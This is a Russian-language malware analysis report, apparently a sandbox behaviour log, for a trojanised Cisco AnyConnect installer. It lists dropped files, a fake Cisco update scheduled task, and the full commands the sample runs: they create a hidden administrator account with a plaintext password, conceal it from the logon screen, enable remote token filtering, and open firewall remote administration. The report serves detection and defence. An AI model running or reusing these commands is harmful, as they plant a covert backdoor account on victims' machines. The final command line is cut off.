Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\ciscosoftwareupdatetaskmachinecore
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall set service remoteadmin enable
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\vpglblon.vcr
- %TEMP%\anyconnect-win-4.5.05030-core-vpn-webdeploy-k9.exe
- %TEMP%\anyconnect-win-4.5.05030-core-vpn-webdeploy.exe
- %TEMP%\cisco\installer\decoder.dll
- %TEMP%\cisco\installer\ff84268\winsetup-release-web-deploy.msi
- %TEMP%\msi6163.tmp
- %TEMP%\msi627d.tmp
- %TEMP%\msi629d.tmp
- %TEMP%\msi631b.tmp
Удаляет следующие файлы
- %TEMP%\msi6163.tmp
- %TEMP%\msi627d.tmp
- %TEMP%\msi629d.tmp
- %TEMP%\msi631b.tmp
Сетевая активность
TCP
Запросы HTTP GET
- http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/3679CA35668772304D30A5FB873B0FA77BB70D54.crt
Другое
Создает и запускает на исполнение
- '%TEMP%\anyconnect-win-4.5.05030-core-vpn-webdeploy-k9.exe'
- '%TEMP%\anyconnect-win-4.5.05030-core-vpn-webdeploy.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c schtasks /create /F /TN CiscoSoftwareUpdateTaskMachineCore /xml "%TEMP%\vpglblon.vcr"
- '<SYSTEM32>\net1.exe' localgroup Администраторы KlNagSvc$ /add /y
- '<SYSTEM32>\net1.exe' user KlNagSvc$ DaxAMlAB1a /add /y
- '<SYSTEM32>\net.exe' localgroup administrators KlNagSvc$ /add /y
- '<SYSTEM32>\wbem\wmic.exe' useraccount where name='KlNagSvc$' set passwordexpires=false
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v KlNagSvc$ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- '<SYSTEM32>\net.exe' localgroup Администраторы KlNagSvc$ /add /y
- '<SYSTEM32>\net1.exe' localgroup administrators KlNagSvc$ /add /y
- '<SYSTEM32>\net.exe' user KlNagSvc$ DaxAMlAB1a /add /y
- '<SYSTEM32>\cmd.exe' /c wmic useraccount where name='KlNagSvc$' set passwordexpires=false
- '<SYSTEM32>\cmd.exe' /c netsh firewall set service remoteadmin enable
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v KlNagSvc$ /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c net localgroup Администраторы KlNagSvc$ /add /y
- '<SYSTEM32>\cmd.exe' /c net localgroup administrators KlNagSvc$ /add /y
- '<SYSTEM32>\cmd.exe' /c net user KlNagSvc$ DaxAMlAB1a /add /y
- '<SYSTEM32>\schtasks.exe' /create /F /TN CiscoSoftwareUpdateTaskMachineCore /xml "%TEMP%\vpglblon.vcr"
- '%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\Cisco\Installer\FF84268\WinSetup-Release-web-deploy.msi" AI_SETUPEXEPATH="%TEMP%\anyconnect-win-4.5.05030-core-vpn-webdeploy.exe" SETUPEXEDIR="%TEMP%\" EXE_CMD_LINE="/exenoupdates ...
